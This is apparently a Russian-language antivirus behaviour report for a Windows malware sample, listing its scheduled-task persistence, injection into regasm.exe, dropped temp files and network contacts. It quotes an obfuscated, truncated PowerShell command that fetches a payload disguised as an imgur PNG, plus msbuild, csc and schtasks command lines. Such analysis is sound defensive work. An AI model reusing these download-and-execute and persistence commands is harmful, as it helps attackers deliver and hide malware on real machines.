Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\srvsvc
Вредоносные функции
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\bvbacttddrmj.zip
- %HOMEPATH%\srvsvc.lnk
- %TEMP%\dmibdyhm.0.cs
- %TEMP%\dmibdyhm.cmdline
- %TEMP%\dmibdyhm.out
- %TEMP%\csc66f99ecad1174754a9dcf0aced214069.tmp
- %TEMP%\res4d73.tmp
- %TEMP%\dmibdyhm.dll
- %TEMP%\srvsvc.xml
- %TEMP%\srvsvc.lnk
- %TEMP%\tmpc6ffebd1091f4b07b7766e1410312218.exec.cmd
- %TEMP%\neturo\orantento.bin
Удаляет следующие файлы
- %TEMP%\res4d73.tmp
- %TEMP%\csc66f99ecad1174754a9dcf0aced214069.tmp
- %TEMP%\dmibdyhm.dll
- %TEMP%\dmibdyhm.pdb
- %TEMP%\dmibdyhm.out
- %TEMP%\dmibdyhm.cmdline
- %TEMP%\dmibdyhm.0.cs
- %TEMP%\tmpc6ffebd1091f4b07b7766e1410312218.exec.cmd
- %HOMEPATH%\srvsvc.lnk
Сетевая активность
Подключается к
- 'i.##gur.com':443
- '62.#38.0.43':5853
TCP
- 'i.##gur.com':443
UDP
- DNS ASK i.##gur.com
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $mqIZOVOUdq=New-Object -c WinHttp.'WinHttpRequest'.'5'.'1';$mqIZOVOUdq.'open'('GET','https://i.imgur.com/xMnoiGG.png',$False);$mqIZOVOUdq.'send'();$rGiCHbPJPpRfl=New-Object -c ADODB.'Stream';$r...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe' "%HOMEPATH%\srvsvc.lnk"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\dmibdyhm.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4D73.tmp" "%TEMP%\CSC66F99ECAD1174754A9DCF0ACED214069.TMP"' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $mqIZOVOUdq=New-Object -c WinHttp.'WinHttpRequest'.'5'.'1';$mqIZOVOUdq.'open'('GET','https://i.imgur.com/xMnoiGG.png',$False);$mqIZOVOUdq.'send'();$rGiCHbPJPpRfl=New-Object -c ADODB.'Stream';$r...
- '%WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe' "%HOMEPATH%\srvsvc.lnk"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\dmibdyhm.cmdline"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4D73.tmp" "%TEMP%\CSC66F99ECAD1174754A9DCF0ACED214069.TMP"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
- '%WINDIR%\syswow64\cmd.exe' /Q /C %TEMP%\tmpc6ffebd1091f4b07b7766e1410312218.exec.cmd
- '%WINDIR%\syswow64\schtasks.exe' /create /tn srvsvc /xml "%TEMP%\srvsvc.xml"
